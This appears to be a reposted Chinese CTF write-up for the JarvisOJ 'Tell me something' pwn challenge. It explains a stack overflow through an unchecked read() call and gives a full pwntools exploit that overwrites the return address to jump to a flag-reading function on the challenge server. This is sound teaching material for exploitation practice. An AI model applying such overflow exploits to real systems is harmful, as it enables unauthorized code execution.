zoukankan      html  css  js  c++  java
  • [Jarvisos]Tell me something

    0x01

    拿到题目首先检查一下是32位还是64位

    64位程序,未开启canary栈保护

    运行一下程序,检查一下程序的运行逻辑

    提示—>输入—>输出

    0x02

    ida反编译一下,看一下代码逻辑是什么

    发现read函数在向v6读入输入的时候没有判断v6接受参数的大小范围,而超出了v6所能接受的最大范围,存在溢出

    到这里整体思路已经有了,就是利用这里的read函数的栈溢出进行漏洞利用

    那么我这个时候首先是去找有没有system函数来调用shell,找了一圈发现没有,最终发现了一个有意思的函数

    调用这个函数的时候,会直接对flag.txt进行读取,所以我们只需要将溢出后的地址覆盖到这里就行

    0x03

    exp:

    from pwn import *
    
    debug = 0
    if debug == 1:
    	io = process("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
    	elf = ELF("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
    else:
    	io = remote("pwn.jarvisoj.com", 9876)
    	elf = ELF("./guestbook.d3d5869bd6fb04dd35b29c67426c0f05")
    
    good_game_addr = elf.symbols["good_game"]
    io.recvline()
    payload = b'a' * 0x88 + p64(good_game_addr)
    io.sendline(payload)
    io.interactive()
    

    这里说一下踩到的坑,刚开始调试程序是在本地调试程序,发现一直不成功,后来发现其实这里得不到shell,而是直接读取的文件从而获得flag,所以这里程序要想本地调试成功,需要在当前目录下创建flag.txt文件才可以

  • 相关阅读:
    Bit命令
    Leetcode628. 三个数的最大乘积
    MyBatis中一级缓存和二级缓存
    Docker学习-实战MySQL数据同步
    Docker学习-容器数据卷的使用
    我的健康计划【要常看啊】
    ASCII编码对照表
    KMP算法详解
    Docker学习-制作一个自己的镜像
    Docker学习-Docker镜像的分层原理
  • 原文地址:https://www.cnblogs.com/Jleixin/p/13375195.html
Copyright © 2011-2022 走看看